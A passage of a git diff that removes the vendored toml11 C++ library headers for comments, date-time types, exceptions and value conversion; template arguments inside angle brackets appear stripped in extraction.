noexcept {return *this;} - empty_iterator& operator-=(difference_type) noexcept {return *this;} - - empty_iterator operator+(difference_type) const noexcept {return *this;} - empty_iterator operator-(difference_type) const noexcept {return *this;} -}; - -template -bool operator==(const empty_iterator&, const empty_iterator&) noexcept {return true;} -template -bool operator!=(const empty_iterator&, const empty_iterator&) noexcept {return false;} -template -bool operator< (const empty_iterator&, const empty_iterator&) noexcept {return false;} -template -bool operator<=(const empty_iterator&, const empty_iterator&) noexcept {return true;} -template -bool operator> (const empty_iterator&, const empty_iterator&) noexcept {return false;} -template -bool operator>=(const empty_iterator&, const empty_iterator&) noexcept {return true;} - -template -typename empty_iterator::difference_type -operator-(const empty_iterator&, const empty_iterator&) noexcept {return 0;} - -template -empty_iterator -operator+(typename empty_iterator::difference_type, const empty_iterator& rhs) noexcept {return rhs;} -template -empty_iterator -operator+(const empty_iterator& lhs, typename empty_iterator::difference_type) noexcept {return lhs;} - -} // detail - -// The default comment type. It discards all the comments. It requires only one -// byte to contain, so the memory footprint is smaller than preserve_comments. -// -// It just ignores `push_back`, `insert`, `erase`, and any other modifications. -// IT always returns size() == 0, the iterator taken by `begin()` is always the -// same as that of `end()`, and accessing through `operator[]` or iterators -// always causes a segmentation fault. DO NOT access to the element of this. -// -// Why this is chose as the default type is because the last version (2.x.y) -// does not contain any comments in a value. To minimize the impact on the -// efficiency, this is chosen as a default. -// -// To reduce the memory footprint, later we can try empty base optimization (EBO). -struct discard_comments -{ - using size_type = std::size_t; - using difference_type = std::ptrdiff_t; - using value_type = std::string; - using reference = std::string&; - using const_reference = std::string const&; - using pointer = std::string*; - using const_pointer = std::string const*; - using iterator = detail::empty_iterator; - using const_iterator = detail::empty_iterator; - using reverse_iterator = detail::empty_iterator; - using const_reverse_iterator = detail::empty_iterator; - - discard_comments() = default; - ~discard_comments() = default; - discard_comments(discard_comments const&) = default; - discard_comments(discard_comments &&) = default; - discard_comments& operator=(discard_comments const&) = default; - discard_comments& operator=(discard_comments &&) = default; - - explicit discard_comments(const std::vector&) noexcept {} - explicit discard_comments(std::vector&&) noexcept {} - discard_comments& operator=(const std::vector&) noexcept {return *this;} - discard_comments& operator=(std::vector&&) noexcept {return *this;} - - explicit discard_comments(const preserve_comments&) noexcept {} - - explicit discard_comments(size_type) noexcept {} - discard_comments(size_type, const std::string&) noexcept {} - discard_comments(std::initializer_list) noexcept {} - template - discard_comments(InputIterator, InputIterator) noexcept {} - - template - void assign(InputIterator, InputIterator) noexcept {} - void assign(std::initializer_list) noexcept {} - void assign(size_type, const std::string&) noexcept {} - - iterator insert(const_iterator, const std::string&) {return iterator{};} - iterator insert(const_iterator, std::string&&) {return iterator{};} - iterator insert(const_iterator, size_type, const std::string&) {return iterator{};} - template - iterator insert(const_iterator, InputIterator, InputIterator) {return iterator{};} - iterator insert(const_iterator, std::initializer_list) {return iterator{};} - - template - iterator emplace(const_iterator, Ts&& ...) {return iterator{};} - iterator erase(const_iterator) {return iterator{};} - iterator erase(const_iterator, const_iterator) {return iterator{};} - - void swap(discard_comments&) {return;} - - void push_back(const std::string&) {return;} - void push_back(std::string&& ) {return;} - void pop_back() {return;} - - template - void emplace_back(Ts&& ...) {return;} - - void clear() {return;} - - size_type size() const noexcept {return 0;} - size_type max_size() const noexcept {return 0;} - size_type capacity() const noexcept {return 0;} - bool empty() const noexcept {return true;} - - void reserve(size_type) {return;} - void resize(size_type) {return;} - void resize(size_type, const std::string&) {return;} - void shrink_to_fit() {return;} - - // DO NOT access to the element of this container. This container is always - // empty, so accessing through operator[], front/back, data causes address - // error. - - reference operator[](const size_type) noexcept {return *data();} - const_reference operator[](const size_type) const noexcept {return *data();} - reference at(const size_type) {throw std::out_of_range("toml::discard_comment is always empty.");} - const_reference at(const size_type) const {throw std::out_of_range("toml::discard_comment is always empty.");} - reference front() noexcept {return *data();} - const_reference front() const noexcept {return *data();} - reference back() noexcept {return *data();} - const_reference back() const noexcept {return *data();} - - pointer data() noexcept {return nullptr;} - const_pointer data() const noexcept {return nullptr;} - - iterator begin() noexcept {return iterator{};} - iterator end() noexcept {return iterator{};} - const_iterator begin() const noexcept {return const_iterator{};} - const_iterator end() const noexcept {return const_iterator{};} - const_iterator cbegin() const noexcept {return const_iterator{};} - const_iterator cend() const noexcept {return const_iterator{};} - - reverse_iterator rbegin() noexcept {return iterator{};} - reverse_iterator rend() noexcept {return iterator{};} - const_reverse_iterator rbegin() const noexcept {return const_iterator{};} - const_reverse_iterator rend() const noexcept {return const_iterator{};} - const_reverse_iterator crbegin() const noexcept {return const_iterator{};} - const_reverse_iterator crend() const noexcept {return const_iterator{};} -}; - -inline bool operator==(const discard_comments&, const discard_comments&) noexcept {return true;} -inline bool operator!=(const discard_comments&, const discard_comments&) noexcept {return false;} -inline bool operator< (const discard_comments&, const discard_comments&) noexcept {return false;} -inline bool operator<=(const discard_comments&, const discard_comments&) noexcept {return true;} -inline bool operator> (const discard_comments&, const discard_comments&) noexcept {return false;} -inline bool operator>=(const discard_comments&, const discard_comments&) noexcept {return true;} - -inline void swap(const discard_comments&, const discard_comments&) noexcept {return;} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const discard_comments&) -{ - return os; -} - -} // toml11 -#endif// TOML11_COMMENTS_HPP diff --git a/src/toml11/toml/datetime.hpp b/src/toml11/toml/datetime.hpp deleted file mode 100644 index d8127c150..000000000 --- a/src/toml11/toml/datetime.hpp +++ /dev/null @@ -1,631 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_DATETIME_HPP -#define TOML11_DATETIME_HPP -#include -#include -#include - -#include -#include -#include -#include -#include - -namespace toml -{ - -// To avoid non-threadsafe std::localtime. In C11 (not C++11!), localtime_s is -// provided in the absolutely same purpose, but C++11 is actually not compatible -// with C11. We need to dispatch the function depending on the OS. -namespace detail -{ -// TODO: find more sophisticated way to handle this -#if (defined(_POSIX_C_SOURCE) && _POSIX_C_SOURCE >= 1) || defined(_XOPEN_SOURCE) || defined(_BSD_SOURCE) || defined(_SVID_SOURCE) || defined(_POSIX_SOURCE) -inline std::tm localtime_s(const std::time_t* src) -{ - std::tm dst; - const auto result = ::localtime_r(src, &dst); - if (!result) { throw std::runtime_error("localtime_r failed."); } - return dst; -} -inline std::tm gmtime_s(const std::time_t* src) -{ - std::tm dst; - const auto result = ::gmtime_r(src, &dst); - if (!result) { throw std::runtime_error("gmtime_r failed."); } - return dst; -} -#elif defined(_MSC_VER) -inline std::tm localtime_s(const std::time_t* src) -{ - std::tm dst; - const auto result = ::localtime_s(&dst, src); - if (result) { throw std::runtime_error("localtime_s failed."); } - return dst; -} -inline std::tm gmtime_s(const std::time_t* src) -{ - std::tm dst; - const auto result = ::gmtime_s(&dst, src); - if (result) { throw std::runtime_error("gmtime_s failed."); } - return dst; -} -#else // fallback. not threadsafe -inline std::tm localtime_s(const std::time_t* src) -{ - const auto result = std::localtime(src); - if (!result) { throw std::runtime_error("localtime failed."); } - return *result; -} -inline std::tm gmtime_s(const std::time_t* src) -{ - const auto result = std::gmtime(src); - if (!result) { throw std::runtime_error("gmtime failed."); } - return *result; -} -#endif -} // detail - -enum class month_t : std::uint8_t -{ - Jan = 0, - Feb = 1, - Mar = 2, - Apr = 3, - May = 4, - Jun = 5, - Jul = 6, - Aug = 7, - Sep = 8, - Oct = 9, - Nov = 10, - Dec = 11 -}; - -struct local_date -{ - std::int16_t year; // A.D. (like, 2018) - std::uint8_t month; // [0, 11] - std::uint8_t day; // [1, 31] - - local_date(int y, month_t m, int d) - : year (static_cast(y)), - month(static_cast(m)), - day (static_cast(d)) - {} - - explicit local_date(const std::tm& t) - : year (static_cast(t.tm_year + 1900)), - month(static_cast(t.tm_mon)), - day (static_cast(t.tm_mday)) - {} - - explicit local_date(const std::chrono::system_clock::time_point& tp) - { - const auto t = std::chrono::system_clock::to_time_t(tp); - const auto time = detail::localtime_s(&t); - *this = local_date(time); - } - - explicit local_date(const std::time_t t) - : local_date(std::chrono::system_clock::from_time_t(t)) - {} - - operator std::chrono::system_clock::time_point() const - { - // std::mktime returns date as local time zone. no conversion needed - std::tm t; - t.tm_sec = 0; - t.tm_min = 0; - t.tm_hour = 0; - t.tm_mday = static_cast(this->day); - t.tm_mon = static_cast(this->month); - t.tm_year = static_cast(this->year) - 1900; - t.tm_wday = 0; // the value will be ignored - t.tm_yday = 0; // the value will be ignored - t.tm_isdst = -1; - return std::chrono::system_clock::from_time_t(std::mktime(&t)); - } - - operator std::time_t() const - { - return std::chrono::system_clock::to_time_t( - std::chrono::system_clock::time_point(*this)); - } - - local_date() = default; - ~local_date() = default; - local_date(local_date const&) = default; - local_date(local_date&&) = default; - local_date& operator=(local_date const&) = default; - local_date& operator=(local_date&&) = default; -}; - -inline bool operator==(const local_date& lhs, const local_date& rhs) -{ - return std::make_tuple(lhs.year, lhs.month, lhs.day) == - std::make_tuple(rhs.year, rhs.month, rhs.day); -} -inline bool operator!=(const local_date& lhs, const local_date& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const local_date& lhs, const local_date& rhs) -{ - return std::make_tuple(lhs.year, lhs.month, lhs.day) < - std::make_tuple(rhs.year, rhs.month, rhs.day); -} -inline bool operator<=(const local_date& lhs, const local_date& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const local_date& lhs, const local_date& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const local_date& lhs, const local_date& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const local_date& date) -{ - os << std::setfill('0') << std::setw(4) << static_cast(date.year ) << '-'; - os << std::setfill('0') << std::setw(2) << static_cast(date.month) + 1 << '-'; - os << std::setfill('0') << std::setw(2) << static_cast(date.day ) ; - return os; -} - -struct local_time -{ - std::uint8_t hour; // [0, 23] - std::uint8_t minute; // [0, 59] - std::uint8_t second; // [0, 60] - std::uint16_t millisecond; // [0, 999] - std::uint16_t microsecond; // [0, 999] - std::uint16_t nanosecond; // [0, 999] - - local_time(int h, int m, int s, - int ms = 0, int us = 0, int ns = 0) - : hour (static_cast(h)), - minute(static_cast(m)), - second(static_cast(s)), - millisecond(static_cast(ms)), - microsecond(static_cast(us)), - nanosecond (static_cast(ns)) - {} - - explicit local_time(const std::tm& t) - : hour (static_cast(t.tm_hour)), - minute(static_cast(t.tm_min)), - second(static_cast(t.tm_sec)), - millisecond(0), microsecond(0), nanosecond(0) - {} - - template - explicit local_time(const std::chrono::duration& t) - { - const auto h = std::chrono::duration_cast(t); - this->hour = static_cast(h.count()); - const auto t2 = t - h; - const auto m = std::chrono::duration_cast(t2); - this->minute = static_cast(m.count()); - const auto t3 = t2 - m; - const auto s = std::chrono::duration_cast(t3); - this->second = static_cast(s.count()); - const auto t4 = t3 - s; - const auto ms = std::chrono::duration_cast(t4); - this->millisecond = static_cast(ms.count()); - const auto t5 = t4 - ms; - const auto us = std::chrono::duration_cast(t5); - this->microsecond = static_cast(us.count()); - const auto t6 = t5 - us; - const auto ns = std::chrono::duration_cast(t6); - this->nanosecond = static_cast(ns.count()); - } - - operator std::chrono::nanoseconds() const - { - return std::chrono::nanoseconds (this->nanosecond) + - std::chrono::microseconds(this->microsecond) + - std::chrono::milliseconds(this->millisecond) + - std::chrono::seconds(this->second) + - std::chrono::minutes(this->minute) + - std::chrono::hours(this->hour); - } - - local_time() = default; - ~local_time() = default; - local_time(local_time const&) = default; - local_time(local_time&&) = default; - local_time& operator=(local_time const&) = default; - local_time& operator=(local_time&&) = default; -}; - -inline bool operator==(const local_time& lhs, const local_time& rhs) -{ - return std::make_tuple(lhs.hour, lhs.minute, lhs.second, lhs.millisecond, lhs.microsecond, lhs.nanosecond) == - std::make_tuple(rhs.hour, rhs.minute, rhs.second, rhs.millisecond, rhs.microsecond, rhs.nanosecond); -} -inline bool operator!=(const local_time& lhs, const local_time& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const local_time& lhs, const local_time& rhs) -{ - return std::make_tuple(lhs.hour, lhs.minute, lhs.second, lhs.millisecond, lhs.microsecond, lhs.nanosecond) < - std::make_tuple(rhs.hour, rhs.minute, rhs.second, rhs.millisecond, rhs.microsecond, rhs.nanosecond); -} -inline bool operator<=(const local_time& lhs, const local_time& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const local_time& lhs, const local_time& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const local_time& lhs, const local_time& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const local_time& time) -{ - os << std::setfill('0') << std::setw(2) << static_cast(time.hour ) << ':'; - os << std::setfill('0') << std::setw(2) << static_cast(time.minute) << ':'; - os << std::setfill('0') << std::setw(2) << static_cast(time.second); - if(time.millisecond != 0 || time.microsecond != 0 || time.nanosecond != 0) - { - os << '.'; - os << std::setfill('0') << std::setw(3) << static_cast(time.millisecond); - if(time.microsecond != 0 || time.nanosecond != 0) - { - os << std::setfill('0') << std::setw(3) << static_cast(time.microsecond); - if(time.nanosecond != 0) - { - os << std::setfill('0') << std::setw(3) << static_cast(time.nanosecond); - } - } - } - return os; -} - -struct time_offset -{ - std::int8_t hour; // [-12, 12] - std::int8_t minute; // [-59, 59] - - time_offset(int h, int m) - : hour (static_cast(h)), - minute(static_cast(m)) - {} - - operator std::chrono::minutes() const - { - return std::chrono::minutes(this->minute) + - std::chrono::hours(this->hour); - } - - time_offset() = default; - ~time_offset() = default; - time_offset(time_offset const&) = default; - time_offset(time_offset&&) = default; - time_offset& operator=(time_offset const&) = default; - time_offset& operator=(time_offset&&) = default; -}; - -inline bool operator==(const time_offset& lhs, const time_offset& rhs) -{ - return std::make_tuple(lhs.hour, lhs.minute) == - std::make_tuple(rhs.hour, rhs.minute); -} -inline bool operator!=(const time_offset& lhs, const time_offset& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const time_offset& lhs, const time_offset& rhs) -{ - return std::make_tuple(lhs.hour, lhs.minute) < - std::make_tuple(rhs.hour, rhs.minute); -} -inline bool operator<=(const time_offset& lhs, const time_offset& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const time_offset& lhs, const time_offset& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const time_offset& lhs, const time_offset& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const time_offset& offset) -{ - if(offset.hour == 0 && offset.minute == 0) - { - os << 'Z'; - return os; - } - int minute = static_cast(offset.hour) * 60 + offset.minute; - if(minute < 0){os << '-'; minute = std::abs(minute);} else {os << '+';} - os << std::setfill('0') << std::setw(2) << minute / 60 << ':'; - os << std::setfill('0') << std::setw(2) << minute % 60; - return os; -} - -struct local_datetime -{ - local_date date; - local_time time; - - local_datetime(local_date d, local_time t): date(d), time(t) {} - - explicit local_datetime(const std::tm& t): date(t), time(t){} - - explicit local_datetime(const std::chrono::system_clock::time_point& tp) - { - const auto t = std::chrono::system_clock::to_time_t(tp); - std::tm ltime = detail::localtime_s(&t); - - this->date = local_date(ltime); - this->time = local_time(ltime); - - // std::tm lacks subsecond information, so diff between tp and tm - // can be used to get millisecond & microsecond information. - const auto t_diff = tp - - std::chrono::system_clock::from_time_t(std::mktime(<ime)); - this->time.millisecond = static_cast( - std::chrono::duration_cast(t_diff).count()); - this->time.microsecond = static_cast( - std::chrono::duration_cast(t_diff).count()); - this->time.nanosecond = static_cast( - std::chrono::duration_cast(t_diff).count()); - } - - explicit local_datetime(const std::time_t t) - : local_datetime(std::chrono::system_clock::from_time_t(t)) - {} - - operator std::chrono::system_clock::time_point() const - { - using internal_duration = - typename std::chrono::system_clock::time_point::duration; - - // Normally DST begins at A.M. 3 or 4. If we re-use conversion operator - // of local_date and local_time independently, the conversion fails if - // it is the day when DST begins or ends. Since local_date considers the - // time is 00:00 A.M. and local_time does not consider DST because it - // does not have any date information. We need to consider both date and - // time information at the same time to convert it correctly. - - std::tm t; - t.tm_sec = static_cast(this->time.second); - t.tm_min = static_cast(this->time.minute); - t.tm_hour = static_cast(this->time.hour); - t.tm_mday = static_cast(this->date.day); - t.tm_mon = static_cast(this->date.month); - t.tm_year = static_cast(this->date.year) - 1900; - t.tm_wday = 0; // the value will be ignored - t.tm_yday = 0; // the value will be ignored - t.tm_isdst = -1; - - // std::mktime returns date as local time zone. no conversion needed - auto dt = std::chrono::system_clock::from_time_t(std::mktime(&t)); - dt += std::chrono::duration_cast( - std::chrono::milliseconds(this->time.millisecond) + - std::chrono::microseconds(this->time.microsecond) + - std::chrono::nanoseconds (this->time.nanosecond)); - return dt; - } - - operator std::time_t() const - { - return std::chrono::system_clock::to_time_t( - std::chrono::system_clock::time_point(*this)); - } - - local_datetime() = default; - ~local_datetime() = default; - local_datetime(local_datetime const&) = default; - local_datetime(local_datetime&&) = default; - local_datetime& operator=(local_datetime const&) = default; - local_datetime& operator=(local_datetime&&) = default; -}; - -inline bool operator==(const local_datetime& lhs, const local_datetime& rhs) -{ - return std::make_tuple(lhs.date, lhs.time) == - std::make_tuple(rhs.date, rhs.time); -} -inline bool operator!=(const local_datetime& lhs, const local_datetime& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const local_datetime& lhs, const local_datetime& rhs) -{ - return std::make_tuple(lhs.date, lhs.time) < - std::make_tuple(rhs.date, rhs.time); -} -inline bool operator<=(const local_datetime& lhs, const local_datetime& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const local_datetime& lhs, const local_datetime& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const local_datetime& lhs, const local_datetime& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const local_datetime& dt) -{ - os << dt.date << 'T' << dt.time; - return os; -} - -struct offset_datetime -{ - local_date date; - local_time time; - time_offset offset; - - offset_datetime(local_date d, local_time t, time_offset o) - : date(d), time(t), offset(o) - {} - offset_datetime(const local_datetime& dt, time_offset o) - : date(dt.date), time(dt.time), offset(o) - {} - explicit offset_datetime(const local_datetime& ld) - : date(ld.date), time(ld.time), offset(get_local_offset(nullptr)) - // use the current local timezone offset - {} - explicit offset_datetime(const std::chrono::system_clock::time_point& tp) - : offset(0, 0) // use gmtime - { - const auto timet = std::chrono::system_clock::to_time_t(tp); - const auto tm = detail::gmtime_s(&timet); - this->date = local_date(tm); - this->time = local_time(tm); - } - explicit offset_datetime(const std::time_t& t) - : offset(0, 0) // use gmtime - { - const auto tm = detail::gmtime_s(&t); - this->date = local_date(tm); - this->time = local_time(tm); - } - explicit offset_datetime(const std::tm& t) - : offset(0, 0) // assume gmtime - { - this->date = local_date(t); - this->time = local_time(t); - } - - operator std::chrono::system_clock::time_point() const - { - // get date-time - using internal_duration = - typename std::chrono::system_clock::time_point::duration; - - // first, convert it to local date-time information in the same way as - // local_datetime does. later we will use time_t to adjust time offset. - std::tm t; - t.tm_sec = static_cast(this->time.second); - t.tm_min = static_cast(this->time.minute); - t.tm_hour = static_cast(this->time.hour); - t.tm_mday = static_cast(this->date.day); - t.tm_mon = static_cast(this->date.month); - t.tm_year = static_cast(this->date.year) - 1900; - t.tm_wday = 0; // the value will be ignored - t.tm_yday = 0; // the value will be ignored - t.tm_isdst = -1; - const std::time_t tp_loc = std::mktime(std::addressof(t)); - - auto tp = std::chrono::system_clock::from_time_t(tp_loc); - tp += std::chrono::duration_cast( - std::chrono::milliseconds(this->time.millisecond) + - std::chrono::microseconds(this->time.microsecond) + - std::chrono::nanoseconds (this->time.nanosecond)); - - // Since mktime uses local time zone, it should be corrected. - // `12:00:00+09:00` means `03:00:00Z`. So mktime returns `03:00:00Z` if - // we are in `+09:00` timezone. To represent `12:00:00Z` there, we need - // to add `+09:00` to `03:00:00Z`. - // Here, it uses the time_t converted from date-time info to handle - // daylight saving time. - const auto ofs = get_local_offset(std::addressof(tp_loc)); - tp += std::chrono::hours (ofs.hour); - tp += std::chrono::minutes(ofs.minute); - - // We got `12:00:00Z` by correcting local timezone applied by mktime. - // Then we will apply the offset. Let's say `12:00:00-08:00` is given. - // And now, we have `12:00:00Z`. `12:00:00-08:00` means `20:00:00Z`. - // So we need to subtract the offset. - tp -= std::chrono::minutes(this->offset); - return tp; - } - - operator std::time_t() const - { - return std::chrono::system_clock::to_time_t( - std::chrono::system_clock::time_point(*this)); - } - - offset_datetime() = default; - ~offset_datetime() = default; - offset_datetime(offset_datetime const&) = default; - offset_datetime(offset_datetime&&) = default; - offset_datetime& operator=(offset_datetime const&) = default; - offset_datetime& operator=(offset_datetime&&) = default; - - private: - - static time_offset get_local_offset(const std::time_t* tp) - { - // get local timezone with the same date-time information as mktime - const auto t = detail::localtime_s(tp); - - std::array buf; - const auto result = std::strftime(buf.data(), 6, "%z", &t); // +hhmm\0 - if(result != 5) - { - throw std::runtime_error("toml::offset_datetime: cannot obtain " - "timezone information of current env"); - } - const int ofs = std::atoi(buf.data()); - const int ofs_h = ofs / 100; - const int ofs_m = ofs - (ofs_h * 100); - return time_offset(ofs_h, ofs_m); - } -}; - -inline bool operator==(const offset_datetime& lhs, const offset_datetime& rhs) -{ - return std::make_tuple(lhs.date, lhs.time, lhs.offset) == - std::make_tuple(rhs.date, rhs.time, rhs.offset); -} -inline bool operator!=(const offset_datetime& lhs, const offset_datetime& rhs) -{ - return !(lhs == rhs); -} -inline bool operator< (const offset_datetime& lhs, const offset_datetime& rhs) -{ - return std::make_tuple(lhs.date, lhs.time, lhs.offset) < - std::make_tuple(rhs.date, rhs.time, rhs.offset); -} -inline bool operator<=(const offset_datetime& lhs, const offset_datetime& rhs) -{ - return (lhs < rhs) || (lhs == rhs); -} -inline bool operator> (const offset_datetime& lhs, const offset_datetime& rhs) -{ - return !(lhs <= rhs); -} -inline bool operator>=(const offset_datetime& lhs, const offset_datetime& rhs) -{ - return !(lhs < rhs); -} - -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const offset_datetime& dt) -{ - os << dt.date << 'T' << dt.time << dt.offset; - return os; -} - -}//toml -#endif// TOML11_DATETIME diff --git a/src/toml11/toml/exception.hpp b/src/toml11/toml/exception.hpp deleted file mode 100644 index c64651d0a..000000000 --- a/src/toml11/toml/exception.hpp +++ /dev/null @@ -1,65 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_EXCEPTION_HPP -#define TOML11_EXCEPTION_HPP -#include -#include - -#include "source_location.hpp" - -namespace toml -{ - -struct exception : public std::exception -{ - public: - explicit exception(const source_location& loc): loc_(loc) {} - virtual ~exception() noexcept override = default; - virtual const char* what() const noexcept override {return "";} - virtual source_location const& location() const noexcept {return loc_;} - - protected: - source_location loc_; -}; - -struct syntax_error : public toml::exception -{ - public: - explicit syntax_error(const std::string& what_arg, const source_location& loc) - : exception(loc), what_(what_arg) - {} - virtual ~syntax_error() noexcept override = default; - virtual const char* what() const noexcept override {return what_.c_str();} - - protected: - std::string what_; -}; - -struct type_error : public toml::exception -{ - public: - explicit type_error(const std::string& what_arg, const source_location& loc) - : exception(loc), what_(what_arg) - {} - virtual ~type_error() noexcept override = default; - virtual const char* what() const noexcept override {return what_.c_str();} - - protected: - std::string what_; -}; - -struct internal_error : public toml::exception -{ - public: - explicit internal_error(const std::string& what_arg, const source_location& loc) - : exception(loc), what_(what_arg) - {} - virtual ~internal_error() noexcept override = default; - virtual const char* what() const noexcept override {return what_.c_str();} - - protected: - std::string what_; -}; - -} // toml -#endif // TOML_EXCEPTION diff --git a/src/toml11/toml/from.hpp b/src/toml11/toml/from.hpp deleted file mode 100644 index 10815caf5..000000000 --- a/src/toml11/toml/from.hpp +++ /dev/null @@ -1,19 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_FROM_HPP -#define TOML11_FROM_HPP - -namespace toml -{ - -template -struct from; -// { -// static T from_toml(const toml::value& v) -// { -// // User-defined conversions ... -// } -// }; - -} // toml -#endif // TOML11_FROM_HPP diff --git a/src/toml11/toml/get.hpp b/src/toml11/toml/get.hpp deleted file mode 100644 index d7fdf553b..000000000 --- a/src/toml11/toml/get.hpp +++ /dev/null @@ -1,1117 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_GET_HPP -#define TOML11_GET_HPP -#include - -#include "from.hpp" -#include "result.hpp" -#include "value.hpp" - -namespace toml -{ - -// ============================================================================ -// exact toml::* type - -template class M, template class V> -detail::enable_if_t>::value, T> & -get(basic_value& v) -{ - return v.template cast>::value>(); -} - -template class M, template class V> -detail::enable_if_t>::value, T> const& -get(const basic_value& v) -{ - return v.template cast>::value>(); -} - -template class M, template class V> -detail::enable_if_t>::value, T> -get(basic_value&& v) -{ - return T(std::move(v).template cast>::value>()); -} - -// ============================================================================ -// T == toml::value; identity transformation. - -template class M, template class V> -inline detail::enable_if_t>::value, T>& -get(basic_value& v) -{ - return v; -} - -template class M, template class V> -inline detail::enable_if_t>::value, T> const& -get(const basic_value& v) -{ - return v; -} - -template class M, template class V> -inline detail::enable_if_t>::value, T> -get(basic_value&& v) -{ - return basic_value(std::move(v)); -} - -// ============================================================================ -// T == toml::basic_value; basic_value -> basic_value - -template class M, template class V> -inline detail::enable_if_t, - detail::negation>> - >::value, T> -get(const basic_value& v) -{ - return T(v); -} - -// ============================================================================ -// integer convertible from toml::Integer - -template class M, template class V> -inline detail::enable_if_t, // T is integral - detail::negation>, // but not bool - detail::negation< // but not toml::integer - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - return static_cast(v.as_integer()); -} - -// ============================================================================ -// floating point convertible from toml::Float - -template class M, template class V> -inline detail::enable_if_t, // T is floating_point - detail::negation< // but not toml::floating - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - return static_cast(v.as_floating()); -} - -// ============================================================================ -// std::string; toml uses its own toml::string, but it should be convertible to -// std::string seamlessly - -template class M, template class V> -inline detail::enable_if_t::value, std::string>& -get(basic_value& v) -{ - return v.as_string().str; -} - -template class M, template class V> -inline detail::enable_if_t::value, std::string> const& -get(const basic_value& v) -{ - return v.as_string().str; -} - -template class M, template class V> -inline detail::enable_if_t::value, std::string> -get(basic_value&& v) -{ - return std::string(std::move(v.as_string().str)); -} - -// ============================================================================ -// std::string_view - -#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0 -template class M, template class V> -inline detail::enable_if_t::value, std::string_view> -get(const basic_value& v) -{ - return std::string_view(v.as_string().str); -} -#endif - -// ============================================================================ -// std::chrono::duration from toml::local_time. - -template class M, template class V> -inline detail::enable_if_t::value, T> -get(const basic_value& v) -{ - return std::chrono::duration_cast( - std::chrono::nanoseconds(v.as_local_time())); -} - -// ============================================================================ -// std::chrono::system_clock::time_point from toml::datetime variants - -template class M, template class V> -inline detail::enable_if_t< - std::is_same::value, T> -get(const basic_value& v) -{ - switch(v.type()) - { - case value_t::local_date: - { - return std::chrono::system_clock::time_point(v.as_local_date()); - } - case value_t::local_datetime: - { - return std::chrono::system_clock::time_point(v.as_local_datetime()); - } - case value_t::offset_datetime: - { - return std::chrono::system_clock::time_point(v.as_offset_datetime()); - } - default: - { - throw type_error(detail::format_underline("toml::value: " - "bad_cast to std::chrono::system_clock::time_point", { - {v.location(), concat_to_string("the actual type is ", v.type())} - }), v.location()); - } - } -} - -// ============================================================================ -// forward declaration to use this recursively. ignore this and go ahead. - -// array-like type with push_back(value) method -template class M, template class V> -detail::enable_if_t, // T is a container - detail::has_push_back_method, // T::push_back(value) works - detail::negation< // but not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value&); - -// array-like type without push_back(value) method -template class M, template class V> -detail::enable_if_t, // T is a container - detail::negation>, // w/o push_back(...) - detail::negation< // not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value&); - -// std::pair -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value&); - -// std::tuple -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value&); - -// map-like classes -template class M, template class V> -detail::enable_if_t, // T is map - detail::negation< // but not toml::table - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value&); - -// T.from_toml(v) -template class M, template class V> -detail::enable_if_t>>, - detail::has_from_toml_method, // but has from_toml(toml::value) - std::is_default_constructible // and default constructible - >::value, T> -get(const basic_value&); - -// toml::from::from_toml(v) -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value&); - -// T(const toml::value&) and T is not toml::basic_value, -// and it does not have `from` nor `from_toml`. -template class M, template class V> -detail::enable_if_t>, - std::is_constructible&>, - detail::negation>, - detail::negation> - >::value, T> -get(const basic_value&); - -// ============================================================================ -// array-like types; most likely STL container, like std::vector, etc. - -template class M, template class V> -detail::enable_if_t, // T is a container - detail::has_push_back_method, // container.push_back(elem) works - detail::negation< // but not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - using value_type = typename T::value_type; - const auto& ary = v.as_array(); - - T container; - try_reserve(container, ary.size()); - - for(const auto& elem : ary) - { - container.push_back(get(elem)); - } - return container; -} - -// ============================================================================ -// std::forward_list does not have push_back, insert, or emplace. -// It has insert_after, emplace_after, push_front. - -template class M, template class V> -detail::enable_if_t::value, T> -get(const basic_value& v) -{ - using value_type = typename T::value_type; - T container; - for(const auto& elem : v.as_array()) - { - container.push_front(get(elem)); - } - container.reverse(); - return container; -} - -// ============================================================================ -// array-like types, without push_back(). most likely [std|boost]::array. - -template class M, template class V> -detail::enable_if_t, // T is a container - detail::negation>, // w/o push_back - detail::negation< // T is not toml::array - detail::is_exact_toml_type>> - >::value, T> -get(const basic_value& v) -{ - using value_type = typename T::value_type; - const auto& ar = v.as_array(); - - T container; - 